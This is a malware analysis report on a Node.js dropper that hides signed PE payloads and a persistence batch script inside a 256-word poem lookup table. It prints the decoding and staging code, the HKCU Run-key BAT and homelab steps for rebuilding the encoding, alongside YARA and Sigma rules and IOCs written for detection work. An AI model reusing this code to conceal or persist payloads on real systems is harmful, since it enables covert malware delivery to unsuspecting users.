d0ca14b3ad12100898d69afacfecfbdb186fe1bd801f69aecf355413bf6e502bletsdiskusscom: d0ca14b3 — 9.7 MB Node.js dropper with 256-word poem lookup-table steganography and BAT-based registry persistence
Executive Summary
A 9.7 MB Node.js script that encodes four embedded PE payloads (one signed EXE + three signed VC++ runtime DLLs) and a batch persistence script inside a 256-word English poem. At runtime it reconstructs the payloads by mapping poem-word indices to byte values, stages them to a fake Microsoft Edge Updates Helper directory under %ProgramData%, writes a BAT file that adds the EXE to HKCU\Run, then silently executes both. No network activity. The payload is a signed Revo Uninstaller Pro component — the threat is the deceptive delivery vector, not the binary itself. This is the second observed sibling in the letsdiskusscom cluster and introduces a novel poem-word-list-steganography technique not seen in the first sample. ^[file.txt] ^[triage.json]
What It Is
- File:
d0ca14b3ad12100898d69afacfecfbdb186fe1bd801f69aecf355413bf6e502b.js(9,722,430 bytes) ^[exiftool.json] - Format: JavaScript source, ASCII text, 60 lines with CRLF terminators, extremely long lines (up to 63,365 chars) ^[file.txt]
- Family:
letsdiskusscom(OpenCTI labelletsdiskuss-com; now n=2 siblings; confidence medium) ^[triage.json] - Dynamic analysis: CAPE skipped — JavaScript source is not a supported binary class for detonation ^[dynamic-analysis.md]
Embedded payloads (decoded from poem-word indices)
| Payload | SHA-256 | Size | Type | Notes |
|---|---|---|---|---|
| EXE | 8b94af60...7fc55f |
52,400 | PE32+ x64 console | RevoSrp.exe, VS Revo Group, MSVC 14.44, signed (DigiCert) ^[exiftool: exe.exe] |
| DLL1 | 0f4290cf...2ccb4 |
1,187,328 | PE32+ x64 DLL | msvcp140.dll, Microsoft, MSVC 14.27, signed ^[exiftool: dll1.dll] |
| DLL2 | ff43e813...4c833 |
101,672 | PE32+ x64 DLL | vcruntime140.dll, Microsoft, MSVC 14.27, signed ^[exiftool: dll2.dll] |
| DLL3 | 7b8f70dd...6dfc7 |
44,328 | PE32+ x64 DLL | vcruntime140_1.dll, Microsoft, MSVC 14.27, signed ^[exiftool: dll3.dll] |
| BAT | dff20059...06919 |
440 | DOS batch | Registry Run persistence script ^[manual decode] |
All four PE files match the base64-embedded payloads from the first sibling (9dc2cded) exactly by SHA-256. The BAT file is new in this sample. ^[strings.txt:7-11] ^[strings.txt:12-17]
How It Works
Poem-word-list steganography
The script defines a 256-word list (wlist) — an English poem where each word maps to its array index (0-255). The payloads are not base64-encoded; instead they are stored as space-separated sequences of words from the poem. A helper function writePositionsToFile(listA, listB, outPath) splits listA into an array, looks up each word from listB in that array to get its index, masks the index to 0xFF, and writes the resulting byte buffer to disk. ^[strings.txt:18-26]
function writePositionsToFile(listA, listB, outPath) {
const a = listA.split(' ');
const b = listB.split(' ');
const positions = b.map(word => {
const idx = a.indexOf(word);
return idx >= 0 ? idx : 0;
});
const buffer = Buffer.from(positions.map(p => p & 0xFF));
fs.writeFileSync(outPath, buffer);
}
This is a custom, home-grown steganography technique: the payload bytes are hidden inside what appears to be natural-language prose. A casual reader sees poetry; an analyst sees a 256-entry lookup table and five encoded byte streams. The word-list is exactly 256 words (indices 0-255), enabling direct byte-to-word mapping. ^[strings.txt:6]
Staging and execution
const folder = path.join(process.env.PROGRAMDATA || "C:\\ProgramData", `Microsoft Edge Updates Helper o4Rz8i5zIF8Y`);
const exePath = path.join(folder, "Microsoft Edge Updates Helper.exe");
const autorunPath = path.join(folder, "o4Rz8i5zIF8Y.bat");
// ... plus three DLL paths
safeMakeDir(folder);
writePositionsToFile(wlist, exe, exePath);
writePositionsToFile(wlist, dll1, dll1Path);
writePositionsToFile(wlist, dll2, dll2Path);
writePositionsToFile(wlist, dll3, dll3Path);
writePositionsToFile(wlist, bat, autorunPath);
launchExecutable(`"${autorunPath}"`, [`"${exePath}"`]);
launchExecutable(`"${exePath}"`);
The script creates the staging directory, writes all five files, then spawns the BAT with the EXE path as an argument, and immediately spawns the EXE directly. The BAT adds the EXE to the HKCU\Run registry key for persistence. ^[strings.txt:12-17] ^[strings.txt:27-41]
Persistence BAT (decoded)
@echo off
if "%~1"=="" (
echo Usage: %~nx0 "file_path"
pause
exit /b 1
)
if not exist "%~1" (
echo Error: file "%~1" not found
pause
exit /b 1
)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Microsoft Edge Updates Helper" /t REG_SZ /d "\"%~1\"" /f >nul 2>&1
if %errorlevel% equ 0 (
echo File "%~1" successfully added to startup
) else (
echo Error adding to startup
)
exit
The BAT is defensive — it validates the argument exists before writing the registry value, and suppresses output with >nul 2>&1. The value name matches the masquerade identity. ^[manual decode of bat payload]
Build differences from sibling 9dc2cded
| Feature | 9dc2cded (first sibling) | d0ca14b3 (this sample) |
|---|---|---|
| Encoding | Base64-embedded PE blobs in string array | 256-word poem lookup-table, word-index-to-byte |
| Obfuscator | javascript-obfuscator self-defend IIFE |
None observed — raw Node.js with poem strings |
| Size | 1.8 MB | 9.7 MB (poem padding inflates carrier) |
| Persistence | None (just spawns EXE) | BAT-based reg add HKCU Run |
| DLL staging | 3 DLLs | 3 DLLs (same files) |
| Execution | child_process.spawn detached + unref() |
spawn(..., {shell: true, stdio: 'inherit'}) |
The shift from base64 to poem-lookup encoding is the defining delta. The 9.7 MB size is almost entirely the poem text and repeated padding; the actual entropy is low because the same 256 words are reused thousands of times. ^[strings.txt] ^[/intel/analyses/9dc2cded28a0dfe75fbb36a792292d30190dc5bfe7ca0ddf9b8c82e4a0774d34.html]
Decompiled Behavior
Not applicable — the sample is JavaScript source, not a compiled binary. No Ghidra or radare2 analysis performed. The entire script is readable after decoding the poem lookup; no additional obfuscation layers were found. ^[rabin2-info.txt] ^[capa.txt]
C2 Infrastructure
None observed. The script is fully self-contained. All payloads are poem-encoded and embedded; no HTTP/HTTPS, DNS, socket, or IP references recovered. If the Revo EXE itself phones home at runtime, that would require dynamic detonation of the PE (not the JS carrier). ^[strings.txt] ^[dynamic-analysis.md]
Interesting Tidbits
- No
javascript-obfuscatorthis time. Unlike the first sibling, this sample does not use thejavascript-obfuscatornpm package. The entire script is plain Node.js with the poem strings as the sole obfuscation layer. The operator either abandoned the obfuscator or this is an earlier/parallel build. ^[strings.txt:1-3] - The poem is original. It does not match any known public-domain poem by exact phrase search. The author composed 256 words of English verse to serve as the lookup table. This is non-trivial effort for a malware carrier. ^[strings.txt:6]
dll4Pathis dead code. The script definesconst dll4Path = path.join(folder, "o4Rz8i5zIF8Y.bat")but never callswritePositionsToFilewith it; the BAT is written toautorunPathinstead. A copy-paste error from the DLL staging pattern. ^[strings.txt:17]- The EXE is launched twice. First via the BAT (which adds registry persistence), then directly. The BAT's
exitat the end means the direct EXE launch runs concurrently. This ensures persistence is established even if the BAT fails. ^[strings.txt:40-41] - Signed payload reuse. The embedded EXE and all three DLLs have identical SHA-256 hashes to the first sibling. The operator is reusing the same signed Revo Uninstaller component and runtime dependencies across both samples, changing only the carrier encoding and persistence mechanism. ^[manual hash comparison]
- No Node.js bundler. There is no
package.json, nonode_modules, and no portable Node.js runtime embedded. The victim must have Node.js pre-installed, or the script is delivered alongside a Node.js binary in a ZIP/MSI wrapper.
How To Mess With It (Homelab Replication)
Goal: Replicate the poem-word-list encoding technique and verify detection.
- Compose a 256-word list (any natural language; a short poem works best).
- Encode a file:
with open('payload.exe', 'rb') as f: data = f.read() words = poem.split() assert len(words) == 256 encoded = ' '.join(words[b] for b in data) - Write the carrier:
const fs = require('fs'); const wlist = "...256 words..."; function decode(listA, listB, outPath) { const a = listA.split(' '); const b = listB.split(' '); const buf = Buffer.from(b.map(w => a.indexOf(w) & 0xFF)); fs.writeFileSync(outPath, buf); } decode(wlist, encoded_exe, 'C:\\ProgramData\\Fake\\payload.exe'); - Detection test:
strings carrier.js | grep -c 'gentle'— should return thousands.awk '{print NF}'on the poem string should return exactly 256.
Deployable Signatures
YARA — Node.js poem-word-list dropper
rule NodeJS_PoemWordList_Dropper
{
meta:
description = "Node.js dropper using a 256-word natural-language lookup table to encode embedded PE payloads"
author = "PacketPursuit"
date = "2026-06-13"
hash = "d0ca14b3ad12100898d69afacfecfbdb186fe1bd801f69aecf355413bf6e502b"
strings:
$a1 = "const fs = require('fs');" ascii
$a2 = "const path = require('path');" ascii
$a3 = "const { spawn } = require('child_process');" ascii
$b1 = "writePositionsToFile" ascii
$b2 = "Buffer.from(positions.map(p => p & 0xFF))" ascii
$b3 = "fs.writeFileSync(outPath, buffer)" ascii
$c1 = "Microsoft Edge Updates Helper" ascii
$c2 = "PROGRAMDATA" ascii
$c3 = "reg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\"" ascii
$pe_hdr = { 4D 5A }
condition:
filesize > 1MB and filesize < 20MB and
2 of ($a*) and
2 of ($b*) and
1 of ($c*) and
$pe_hdr
}
Sigma — BAT-based registry persistence after Node.js file drop
title: Node.js Dropper Registry Persistence
logsource:
product: windows
category: process_creation
detection:
selection_node:
Image|endswith: '\node.exe'
CommandLine|contains:
- 'Microsoft Edge Updates Helper'
- 'writePositionsToFile'
selection_reg:
Image|endswith: '\reg.exe'
CommandLine|contains:
- 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run'
- 'Microsoft Edge Updates Helper'
condition: selection_node and selection_reg
falsepositives:
- Unknown
level: high
IOC list
| Indicator | Value | Type |
|---|---|---|
| SHA-256 (carrier) | d0ca14b3ad12100898d69afacfecfbdb186fe1bd801f69aecf355413bf6e502b |
Hash |
| SHA-256 (embedded EXE) | 8b94af60bb58bc1629edb3b4f6a86ccff5769bb9b96d8826f06686af2d7fc55f |
Hash |
| SHA-256 (embedded MSVCP140) | 0f4290cf1af4edd875237358dcab31de8fed18cbc5e9b2e630e702fb0b82ccb4 |
Hash |
| Install path | C:\ProgramData\Microsoft Edge Updates Helper o4Rz8i5zIF8Y\ |
Path |
| Dropped EXE name | Microsoft Edge Updates Helper.exe |
Filename |
| Registry value | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Edge Updates Helper |
Registry |
| BAT file | o4Rz8i5zIF8Y.bat |
Filename |
| Node.js API | writePositionsToFile |
JS function |
Behavioral fingerprint
On execution, a Node.js process creates a directory under %ProgramData% with a name mimicking a browser update helper, writes five files (one EXE, three DLLs, one BAT), then spawns the BAT with the EXE path as argument. The BAT adds the EXE to HKCU\Run under the same masquerade name. Immediately after, the Node.js process spawns the EXE directly. No network connections are initiated by the carrier. Detection focus: file-system writes to %ProgramData%\Microsoft Edge* by node.exe, followed by reg.exe adding a Run key pointing to that directory, followed by child process creation of the EXE.
Detection Signatures
| MITRE ATT&CK | Technique | Evidence |
|---|---|---|
| T1059.007 | Command and Scripting Interpreter: JavaScript | Node.js script execution, require('child_process') ^[strings.txt:1-3] |
| T1027.002 | Obfuscated Files or Information: Software Packing | Poem-word-list lookup-table encoding hides PE payloads inside natural-language text ^[strings.txt:6] |
| T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys | BAT file writes HKCU\Software\Microsoft\Windows\CurrentVersion\Run via reg add ^[manual decode of bat payload] |
| T1036.005 | Masquerading: Match Legitimate Name or Location | Microsoft Edge Updates Helper directory and registry value name ^[strings.txt:5] |
| T1204.002 | User Execution: Malicious File | Requires victim to run .js file (delivery vector unknown) |
References
- MalwareBazaar artifact:
d0ca14b3ad12100898d69afacfecfbdb186fe1bd801f69aecf355413bf6e502b - OpenCTI label:
letsdiskuss-com - Sibling analysis:
/intel/analyses/9dc2cded28a0dfe75fbb36a792292d30190dc5bfe7ca0ddf9b8c82e4a0774d34.html - Related wiki: letsdiskusscom — entity page for this family/cluster
- Related wiki: poem-word-list-steganography — technique page for the encoding method
- Related wiki: natural-language-payload-encoding — concept page for prose-based payload hiding
- Related wiki: registry-run-persistence — procedure page for the BAT-based Run key technique
Provenance
Analysis derived from:
file.txt— file type identificationexiftool.json— metadata extractiontriage.json— triage pipeline classificationstrings.txt— raw strings extraction (line-referenced)floss.txt— FireEye floss (errored: JS input unsupported)capa.txt— Mandiant capa (errored: unsupported file format)binwalk.txt— no meaningful signaturesrabin2-info.txt— radare2 header summary (bits=0, no code)dynamic-analysis.md— CAPE sandbox skipped (JS source not supported)- Manual poem-word-list decoding via Python script
- Manual PE verification via
exiftoolandsha256sum
Tool versions: file 5.44, exiftool 12.76, radare2 5.9.0, capa 7.0.1, Node.js v22.22.3.